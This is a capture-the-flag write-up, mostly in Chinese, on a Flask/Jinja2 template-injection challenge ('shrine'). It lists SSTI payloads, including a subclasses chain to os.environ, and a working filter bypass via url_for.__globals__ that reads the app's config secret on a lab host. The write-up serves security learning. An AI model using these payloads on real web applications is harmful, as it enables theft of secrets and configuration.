⼀开头就爆出了源码:
app.route查了⼀下就是添加路由的意思,意思是我们
可以访问/shirine/xxx,后⾯的值作为参数传⼊进去。
随后开始模版注⼊:
这题的模版注⼊不准⽤( )、config、self
不准⽤()查了资料,没啥办法。
但是还是可以读config的。
If I can use config GET /shrine/{{config}}
↓
↓
{{config.FLAG}} => TWCTF{secret}
2. If I can use self
{{self}} =><TemplateReference None>
{{self.__dict__}}
↓
↓
'FLAG': 'TWCTF{secret}'
Also, there are many things that can be used.
↓
url_for, g, request, namespace, lipsum, range, session, dict, get_flashed_messages, cycler, joiner, config
3. If I can use ( 和 )
{{[].__class__.__base__.__subclasses__()[68].__init__.__globals__['os'].__dict__.environ['FLAG]}}
↓
'FLAG': 'TWCTF{secret}'
Since config, self ( 和 ) can not be used, in order to get config information, it is necessary to access config
from its upper global variable (current_app etc.).
↓
(for example)
__globals__['current_app'].config['FLAG']
top.app.config['FLAG']
上⾯的都⽤不了。
http://04bbf9f2-cb8e-4785-9dff-dd00f2e7f431.node4.buuoj.cn:81/shrine/
{{url_for.__globals__['current_app'].config['FLAG']}}
下⾯这样写也⾏,因为[""]=.
http://04bbf9f2-cb8e-4785-9dff-dd00f2e7f431.node4.buuoj.cn:81/shrine/
{{url_for.__globals__.current_app["config"]}}
同理利⽤get_flashed_messages也⾏。
url_for本身是⽤来找对应函数的位置的:
ps:关于format的学习:因为format⾥⾯有关键字{ },因此如果在字符串⾥就想要输⼊{或者}的话,那就输⼊两个
{{或两个}},最终字符串内会有⼀个{或者}。